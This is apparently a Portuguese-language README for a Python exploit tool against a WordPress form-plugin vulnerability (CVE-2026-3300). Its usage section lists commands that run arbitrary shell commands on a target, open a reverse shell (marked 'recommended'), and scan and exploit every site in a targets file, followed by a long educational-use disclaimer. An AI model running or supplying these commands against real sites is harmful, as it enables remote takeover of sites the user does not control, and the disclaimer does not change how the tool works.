CVE-2026-3300 - Wordpress

⚡ Uso Simples

Use este projeto apenas em ambientes seguros e autorizados, como:

• Máquinas virtuais locais
• Contêineres Docker
• Configurações de laboratório isoladas
• Ambientes de teste de penetração autorizados

Exemplo de configuração:

git clone <repository-url>
cd <repository-name>

# O projeto usa Python, siga abaixo

# Crie um ambiente virtual
python -m venv venv

# Ative o ambiente virtual

# macOS / Linux
source venv/bin/activate

# Windows (Git Bash / WSL)
source venv/Scripts/activate

Exemplo de uso:

# Execução normal de comando
python cve-2026-3300.py http://localhost --mode poc -c "whoami"

# Tente diferentes tipos de payload
python cve-2026-3300.py http://localhost --mode poc -p passthru -c "id"

# Reverse Shell (Recomendado)
python cve-2026-3300.py http://localhost --mode reverse --listen 4444

# Escaneie todos os alvos
python cve-2026-3300.py --file targets.txt --mode scan

# Explore todos os alvos
python cve-2026-3300.py --file targets.txt --mode exploit -c "whoami"

# Reverse shell (alvo único)
python cve-2026-3300.py --file targets.txt --mode reverse -l 4444

# Teste com nomes comuns de campos
python cve-2026-3300.py http://target.com --mode exploit --field text_1 -c "whoami"
python cve-2026-3300.py http://target.com --mode exploit --field email -c "id"

# Reverse shell
python cve-2026-3300.py http://target.com --mode reverse --field text_field -l 4444

Crédito ou Referência

• https://www.wordfence.com/blog/2026/06/attackers-actively-exploiting-critical-vulnerability-in-everest-forms-pro-plugin/
• https://thehackernews.com/2026/06/hackers-exploit-critical-everest-forms.html
• https://sansec.io/research/stripe-api-skimmer-infrastructure

📚 Repositório Educacional de Pesquisa em Segurança

Um repositório para aprender, testar e pesquisar conceitos de segurança cibernética em ambientes controlados.

⚠️ Aviso Legal e de Segurança

Propósito

Este repositório é apenas para fins educacionais e pesquisa autorizada em segurança.

Foi projetado para ajudar os usuários a aprender sobre:

• Vulnerabilidades de segurança
• Conceitos de sandbox e isolamento
• Práticas de codificação segura e defensiva

Uso Autorizado Apenas

Use este repositório apenas em ambientes onde você tenha permissão, como:

• Laboratórios pessoais ou máquinas virtuais
• Docker ou ambientes isolados
• Testes de penetração autorizados
• Treinamento em segurança cibernética ou pesquisa acadêmica

O uso não autorizado ou ilegal é estritamente proibido.

Sem Responsabilidade

O autor e os colaboradores não são responsáveis por quaisquer danos, uso indevido, problemas legais ou perdas causados por este projeto.

Ao usar este repositório, você concorda que:

• Você é responsável por suas próprias ações
• O usará de forma legal e ética
• O projeto é fornecido sem garantia

Uso Ético

Este projeto destina-se a:

• Pesquisa defensiva de segurança
• Educação em segurança cibernética
• Conscientização sobre vulnerabilidades
• Pesquisa de sistemas e software seguros

Por favor, siga práticas responsáveis de divulgação e cumpra todas as leis aplicáveis.

Contato

Para divulgação responsável ou colaboração, entre em contato com o mantenedor do repositório através do GitHub.